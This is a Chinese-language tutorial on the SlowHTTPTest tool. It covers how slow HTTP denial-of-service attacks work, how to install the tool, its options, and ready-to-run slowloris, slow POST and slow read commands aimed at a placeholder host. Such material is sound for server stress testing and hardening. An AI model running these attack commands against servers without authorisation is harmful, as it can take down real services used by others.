HTTP 慢攻击工具 SlowHTTPTest

本文将介绍怎样使用 SlowHTTPTest 工具来发起 HTTP Dos 慢速攻击。

SlowHTTPTest 是依赖 HTTP 协议的慢速攻击 DoS 攻击工具。

工具的设计基本原理是服务器在请求完全接收后才会进行处理。

如果客户端的 HTTP 请求发送速度缓慢或者发送不完整,服务端会为其保留连接资源,一直占用,直到请求发送完成。

如果存在大量的此类慢速 HTTP 请求,最终服务器连接资源将被耗尽,导致不能处理正常的 HTTP 请求,这就导致 DoS 慢速攻击。

安装工具

下面将基于 Ubuntu 20.04 LTS 系统来验证 SlowHTTPTest 工具的安装和使用。安装步骤如下:

(1)下载 SlowHTTPTest 工具,下载地址如下:

https://github.com/shekyan/slowhttptest/releases/tag/v1.8.2 

(2)解压安装包

tar -xvzf slowhttptest-1.8.2.tar.gz

(3)编译安装 SlowHTTPTest 工具

./configure
make && make install

参数说明

安装成功后,可以使用 slowhttptest -h 命令查看 SlowHTTPTest 参数,如下:

  • -g   测试完成后,以时间戳为名生成一个 CVS 和 HTML 文件的统计数据

  • -H   SlowLoris 模式

  • -B   Slow POST 模式

  • -R   Range Header 模式

  • -X   Slow Read 模式

  • -c   number of connections 测试时建立的连接数

  • -d   HTTP proxy host:port 为所有连接指定代理

  • -e   HTTP proxy host:port 为探测连接指定代理

  • -i   seconds 在 slowrois 和 Slow POST 模式中,指定发送数据间的间隔

  • -l   seconds 测试维持时间

  • -n   seconds 在 Slow Read 模式下,指定每次操作的时间间隔

  • -o   file name 使用-g参数时,可以使用此参数指定输出文件名

  • -p   seconds 指定等待时间来确认 DoS 攻击已经成功

  • -r   connections per second 每秒连接个数

  • -s   bytes 声明 Content-Length header 的值

  • -t   HTTP verb 在请求时使用什么操作,默认 GET

  • -u   URL 指定目标url

  • -v   level 日志等级(详细度)

  • -w   bytes slow read 模式中指定 tcp 窗口范围下限

  • -x   bytes 在 slowloris and Slow POST tests 模式中,指定发送的最大数据长度

  • -y   bytes slow read 模式中指定 tcp 窗口范围上限

  • -z   bytes 在每次的 read() 中,从 buffer 中读取数据量

攻击模式

slowloris 模式

完整的 http 请求是以 \r\n\r\n 结尾,攻击时仅发送 \r\n,少发送一个 \r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

示例:

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3

slow http post 模式

原理和 slowloris 模式有点类似,这次是通过声明一个较大的 content-length 后,body 缓慢发送,导致服务器一直等待

示例:

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3

slow read attack 模式

向服务器发送一个正常合法的读取请求,请求一个很大的文件,人为把 TCP 滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。

这里有两点要注意:

(1)tcp 窗口设置要比服务器的 socket 缓存小,这样发送才慢。

(2)请求的文件要比服务器的 socket 缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

示例:

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3
成熟不是人的心变老,而是泪在眼眶里打转还能微笑。
0 不喜欢
说说我的看法 -
全部评论(
没有评论
目录
热门标签
热门文章
关于
本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,请来信告知:hxstrive@outlook.com
公众号